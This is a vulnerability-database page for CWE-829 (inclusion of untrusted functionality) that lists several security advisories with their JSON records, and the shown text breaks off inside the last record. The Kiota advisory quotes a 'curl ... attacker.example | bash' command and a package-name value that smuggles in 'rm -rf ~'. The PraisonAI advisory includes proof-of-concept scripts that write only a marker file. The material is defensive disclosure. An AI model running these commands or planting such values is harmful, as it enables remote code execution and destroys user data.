Common Weakness Enumeration

CWE-829

Allowed

Inclusion of Functionality from Untrusted Control Sphere

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

457 vulnerabilities reference this CWE, most recent first.

GHSA-HG32-P8HW-8G3X

Vulnerability from github – Published: 2022-04-29 02:57 – Updated: 2024-02-08 03:32
VLAI
Details

PHP remote file inclusion vulnerabilities in include/footer.inc.php in (1) AllMyVisitors, (2) AllMyLinks, and (3) AllMyGuests allow remote attackers to execute arbitrary PHP code via a URL in the _AMVconfig[cfg_serverpath] parameter.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2004-0285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2004-11-23T05:00:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerabilities in include/footer.inc.php in (1) AllMyVisitors, (2) AllMyLinks, and (3) AllMyGuests allow remote attackers to execute arbitrary PHP code via a URL in the _AMVconfig[cfg_serverpath] parameter.",
  "id": "GHSA-hg32-p8hw-8g3x",
  "modified": "2024-02-08T03:32:43Z",
  "published": "2022-04-29T02:57:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-0285"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/15226"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/15227"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/15228"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=107696209514155\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=107696235424865\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=107696291728750\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/6721"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/9664"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HGJJ-3X23-5XV2

Vulnerability from github – Published: 2023-10-26 21:30 – Updated: 2024-04-04 08:57
VLAI
Details

A local file inclusion vulnerability via the lang parameter in OcoMon before v4.0.1 allows attackers to execute arbitrary code by supplying a crafted PHP file.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-33559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-26T21:15:07Z",
    "severity": "HIGH"
  },
  "details": "A local file inclusion vulnerability via the lang parameter in OcoMon before v4.0.1 allows attackers to execute arbitrary code by supplying a crafted PHP file.",
  "id": "GHSA-hgjj-3x23-5xv2",
  "modified": "2024-04-04T08:57:01Z",
  "published": "2023-10-26T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33559"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninj4c0d3r/OcoMon-Research/commit/7459ff397f48b5356930c16c522331e39158461dv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninj4c0d3r/OcoMon-Research"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HM75-34JG-V37M

Vulnerability from github – Published: 2022-05-12 00:00 – Updated: 2022-05-21 00:00
VLAI
Details

In Progress Ipswitch WhatsUp Gold 21.1.0 through 21.1.1, and 22.0.0, it is possible for an authenticated user to invoke an API transaction that would allow them to read the contents of a local file.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-11T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Progress Ipswitch WhatsUp Gold 21.1.0 through 21.1.1, and 22.0.0, it is possible for an authenticated user to invoke an API transaction that would allow them to read the contents of a local file.",
  "id": "GHSA-hm75-34jg-v37m",
  "modified": "2022-05-21T00:00:41Z",
  "published": "2022-05-12T00:00:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29845"
    },
    {
      "type": "WEB",
      "url": "https://community.progress.com/s/article/WhatsUp-Gold-Critical-Product-Alert-May-2022"
    },
    {
      "type": "WEB",
      "url": "https://www.progress.com/network-monitoring"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQ9Q-27G5-QWPJ

Vulnerability from github – Published: 2026-07-24 16:11 – Updated: 2026-08-17 14:55
VLAI
Summary
Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`
Details

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "1.32.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota.Builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "1.32.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.OpenApi.Kiota.Builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:11:46Z",
    "nvd_published_at": "2026-07-16T16:19:15Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`kiota info` \u2014 the command developers run to learn which packages to install after generating a client \u2014\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool\u0027s own recommended install\ncommand**, replacing kiota\u0027s normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d \u003cattacker-spec\u003e -l CSharp\n   ...\n   Hint: use the install command to install the dependencies.\n   Example:\n      curl -s https://attacker.example/x.sh | bash   # attacker-controlled\n```\n\nA developer who followed kiota\u0027s explicit instruction (run the suggested install command) executed\nattacker-controlled shell \u2014 **command injection \u2192 RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n  languagesInformation:\n    CSharp:\n      dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n      dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec\u0027s value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota\u0027s instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota\u0027s hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota\u0027s own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.",
  "id": "GHSA-hq9q-27g5-qwpj",
  "modified": "2026-08-17T14:55:20Z",
  "published": "2026-07-24T16:11:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59865"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/pull/7883"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/microsoft/kiota"
    },
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`"
}

GHSA-HVVX-VW37-6FJM

Vulnerability from github – Published: 2025-07-04 15:31 – Updated: 2025-07-04 15:31
VLAI
Details

mtr through 0.95, in certain privileged contexts, mishandles execution of a program specified by the MTR_PACKET environment variable. NOTE: mtr on macOS may often have Sudo rules, as an indirect consequence of Homebrew not installing setuid binaries.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-829"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-04T13:15:25Z",
    "severity": "HIGH"
  },
  "details": "mtr through 0.95, in certain privileged contexts, mishandles execution of a program specified by the MTR_PACKET environment variable. NOTE: mtr on macOS may often have Sudo rules, as an indirect consequence of Homebrew not installing setuid binaries.",
  "id": "GHSA-hvvx-vw37-6fjm",
  "modified": "2025-07-04T15:31:08Z",
  "published": "2025-07-04T15:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49809"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Homebrew/homebrew-core/issues/35085"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traviscross/mtr/commit/5226f105f087c29d3cfad9f28000e7536af91ac6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traviscross/mtr/blob/master/SECURITY"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HXMV-C4G6-5FQC

Vulnerability from github – Published: 2026-08-25 14:15 – Updated: 2026-08-25 14:15
VLAI
Summary
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
Details

Summary

PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.

This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.

The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.

This is distinct from the previously published tool_resolver.py, api/call.py, templates/tool_override.py, and agents_generator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.

Affected Components

  • Package: praisonaiagents
  • File: praisonaiagents/workflows/workflows.py
  • Sink: Workflow._execute_include()
  • Current affected callsite:
tools_py = recipe_path / "tools.py"
if tools_py.exists():
    spec = importlib.util.spec_from_file_location("recipe_tools", tools_py)
    recipe_module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(recipe_module)

The current head also contains a similar unguarded workflow-local tools.py import in _resolve_pydantic_class(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.

Security Boundary

PraisonAI documents secure defaults for implicit tools.py autoload:

  • PRAISONAI_ALLOW_TEMPLATE_TOOLS controls implicit template/CWD tools.py autoload and is disabled by default.
  • PRAISONAI_ALLOW_LOCAL_TOOLS controls automatic loading of local tools.py files and requires the value true.
  • Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.
  • Existing regression tests for GHSA-xcmw-grxf-wjhj assert that template/CWD tools.py must not execute by default.

Workflow._execute_include() does not check PRAISONAI_ALLOW_TEMPLATE_TOOLS, does not check PRAISONAI_ALLOW_LOCAL_TOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.

The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.

The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.

Impact

An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.

The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.

Reproduction

Run the attached local-only PoV:

python3 pov.py

Expected vulnerable output:

VULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
marker=...
marker_content=executed

The PoV:

  1. Unsets PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS.
  2. Creates a temporary child_recipe/tools.py with a marker-write payload.
  3. Creates a minimal child_recipe/workflow.yaml.
  4. Runs Workflow(steps=[include("child_recipe")]).run(...).
  5. Confirms the marker file was written before any model-backed workflow step is needed.

Supplementary higher-level API check:

python3 pov_recipe_run.py

Expected vulnerable output:

VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
recipe_status=success
recipe_ok=True
marker=...
marker_content=executed

Validation

Tested vulnerable:

  • Current head: bcb6957dac1bc8949866522948a9f61d7e4bd4c1
  • Latest release tag: v4.6.56 (praisonai==4.6.56, praisonaiagents==1.6.56)
  • Older affected tag: v3.9.26 (praisonai==3.9.26, praisonaiagents==0.12.12)

Negative/control observations:

  • v3.9.24 does not expose the same include helper/API used by this PoV.
  • The hardened praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...) path does not execute tools.py when PRAISONAI_ALLOW_TEMPLATE_TOOLS is unset.
  • Existing regression test src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py states that implicit recipe/template tools.py autoload should be gated behind PRAISONAI_ALLOW_TEMPLATE_TOOLS.
  • Include is a first-class workflow feature, not an accidental private method: repository tests cover include() imports, YAML include parsing, direct Workflow._execute_include presence, and include steps inside loops.
  • praisonai.recipe.run() also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.

Root Cause

The include implementation reintroduced a direct importlib.util.spec_from_file_location() plus spec.loader.exec_module() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.

Suggested Fix

Route included-recipe tool loading through the same security policy used by the template tool override system.

Conservative options:

  1. Do not implicitly load included recipe tools.py by default.
  2. Only load it when PRAISONAI_ALLOW_TEMPLATE_TOOLS is explicitly truthy.
  3. Prefer explicit tools_sources, override_files, or a caller-supplied registry for custom tools.
  4. Add regression coverage for Workflow(steps=[include("...")]) proving included recipe tools.py does not execute with the opt-in unset.
  5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.

If local workflow includes are intended to use PRAISONAI_ALLOW_LOCAL_TOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw exec_module() directly.

Severity

Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.

Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.

Appendix A - pov.py

#!/usr/bin/env python3
"""Local PoV for PraisonAI workflow include tools.py autoload.

This PoV uses only local files and the public workflow API. It verifies whether
a workflow-local include executes the included recipe's tools.py even when the
PRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.
"""

from __future__ import annotations

import os
import shutil
import sys
import tempfile
from pathlib import Path


MARKER_NAME = "prai_workflow_include_tools_autoload_marker.txt"


def _find_default_repo() -> Path:
    for parent in Path(__file__).resolve().parents:
        candidate = parent / "artifacts" / "repos" / "praisonai-current"
        if candidate.exists():
            return candidate
    raise RuntimeError("Could not locate artifacts/repos/praisonai-current")


def main() -> int:
    repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
    sys.path.insert(0, str(repo / "src" / "praisonai"))

    os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
    os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)

    workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-"))
    old_cwd = Path.cwd()
    try:
        recipe = workdir / "child_recipe"
        recipe.mkdir()
        marker = workdir / MARKER_NAME

        (recipe / "tools.py").write_text(
            "from pathlib import Path\n"
            f"Path({str(marker)!r}).write_text('executed')\n"
            "def benign_tool():\n"
            "    return 'ok'\n",
            encoding="utf-8",
        )
        (recipe / "workflow.yaml").write_text(
            "name: child\n"
            "steps: []\n",
            encoding="utf-8",
        )

        os.chdir(workdir)

        from praisonaiagents.workflows.workflows import Workflow, include

        workflow = Workflow(steps=[include("child_recipe")])
        workflow.run(input="", llm="dummy/local", stream=False)

        if marker.exists():
            print(
                "VULNERABLE: included recipe tools.py executed with "
                "PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
            )
            print(f"marker={marker}")
            print(f"marker_content={marker.read_text(encoding='utf-8')}")
            return 0

        print("NOT VULNERABLE: included recipe tools.py did not execute")
        return 1
    finally:
        os.chdir(old_cwd)
        shutil.rmtree(workdir, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())

Appendix B - pov_recipe_run.py

#!/usr/bin/env python3
"""Supplementary local PoV through praisonai.recipe.run().

This exercises the higher-level recipe API. It does not start a network server
or rely on any external service. The payload writes a local marker file only.
"""

from __future__ import annotations

import os
import shutil
import sys
import tempfile
from pathlib import Path


MARKER_NAME = "prai_recipe_run_include_tools_autoload_marker.txt"


def _find_default_repo() -> Path:
    for parent in Path(__file__).resolve().parents:
        candidate = parent / "artifacts" / "repos" / "praisonai-current"
        if candidate.exists():
            return candidate
    raise RuntimeError("Could not locate artifacts/repos/praisonai-current")


def main() -> int:
    repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
    sys.path.insert(0, str(repo / "src" / "praisonai"))

    os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
    os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)

    workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-"))
    old_cwd = Path.cwd()
    try:
        parent_recipe = workdir / "parent_recipe"
        child_recipe = workdir / "child_recipe"
        parent_recipe.mkdir()
        child_recipe.mkdir()
        marker = workdir / MARKER_NAME

        (parent_recipe / "TEMPLATE.yaml").write_text(
            "name: parent_recipe\n"
            "version: 1.0.0\n"
            "workflow: workflow.yaml\n",
            encoding="utf-8",
        )
        (parent_recipe / "workflow.yaml").write_text(
            "name: parent\n"
            "steps:\n"
            "  - include: child_recipe\n",
            encoding="utf-8",
        )
        (child_recipe / "workflow.yaml").write_text(
            "name: child\n"
            "steps: []\n",
            encoding="utf-8",
        )
        (child_recipe / "tools.py").write_text(
            "from pathlib import Path\n"
            f"Path({str(marker)!r}).write_text('executed')\n"
            "def benign_tool():\n"
            "    return 'ok'\n",
            encoding="utf-8",
        )

        os.chdir(workdir)

        from praisonai import recipe

        result = recipe.run(str(parent_recipe), input={}, options={"force": True})

        if marker.exists():
            print(
                "VULNERABLE: praisonai.recipe.run() reached workflow include "
                "tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and "
                "PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
            )
            print(f"recipe_status={result.status}")
            print(f"recipe_ok={result.ok}")
            print(f"marker={marker}")
            print(f"marker_content={marker.read_text(encoding='utf-8')}")
            return 0

        print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py")
        print(f"recipe_status={result.status}")
        print(f"recipe_error={result.error}")
        return 1
    finally:
        os.chdir(old_cwd)
        shutil.rmtree(workdir, ignore_errors=True)


if __name__ == "__main__":
    raise SystemExit(main())
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.12"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.26"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-426",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:15:27Z",
    "nvd_published_at": "2026-08-05T20:17:10Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s workflow include implementation implicitly imports and executes an included recipe\u0027s `tools.py` file even when the documented `tools.py` autoload opt-in is unset.\n\nThis bypasses the hardening added for the prior automatic `tools.py` RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.\n\nThe same sink is reachable through the higher-level `praisonai.recipe.run()` recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.\n\nThis is distinct from the previously published `tool_resolver.py`, `api/call.py`, `templates/tool_override.py`, and `agents_generator.py` variants. The affected callsite is the workflow include implementation in `praisonaiagents`, reached through the documented/covered `Include` workflow composition feature.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- File: `praisonaiagents/workflows/workflows.py`\n- Sink: `Workflow._execute_include()`\n- Current affected callsite:\n\n```python\ntools_py = recipe_path / \"tools.py\"\nif tools_py.exists():\n    spec = importlib.util.spec_from_file_location(\"recipe_tools\", tools_py)\n    recipe_module = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(recipe_module)\n```\n\nThe current head also contains a similar unguarded workflow-local `tools.py` import in `_resolve_pydantic_class()`. That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.\n\n## Security Boundary\n\nPraisonAI documents secure defaults for implicit `tools.py` autoload:\n\n- `PRAISONAI_ALLOW_TEMPLATE_TOOLS` controls implicit template/CWD `tools.py` autoload and is disabled by default.\n- `PRAISONAI_ALLOW_LOCAL_TOOLS` controls automatic loading of local `tools.py` files and requires the value `true`.\n- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.\n- Existing regression tests for `GHSA-xcmw-grxf-wjhj` assert that template/CWD `tools.py` must not execute by default.\n\n`Workflow._execute_include()` does not check `PRAISONAI_ALLOW_TEMPLATE_TOOLS`, does not check `PRAISONAI_ALLOW_LOCAL_TOOLS`, and does not route through the shared safe loader before executing the included recipe\u0027s `tools.py`.\n\nThe report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover `Include`, `include()`, YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe\u0027s `tools.py` unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.\n\nThe report also is not claiming that recipe `tools.py` files are inherently unsafe or unsupported. Official recipe documentation describes `tools.py` as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit `tools.py` autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.\n\n## Impact\n\nAn attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.\n\nThe payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.\n\n## Reproduction\n\nRun the attached local-only PoV:\n\n```bash\npython3 pov.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nmarker=...\nmarker_content=executed\n```\n\nThe PoV:\n\n1. Unsets `PRAISONAI_ALLOW_LOCAL_TOOLS` and `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n2. Creates a temporary `child_recipe/tools.py` with a marker-write payload.\n3. Creates a minimal `child_recipe/workflow.yaml`.\n4. Runs `Workflow(steps=[include(\"child_recipe\")]).run(...)`.\n5. Confirms the marker file was written before any model-backed workflow step is needed.\n\nSupplementary higher-level API 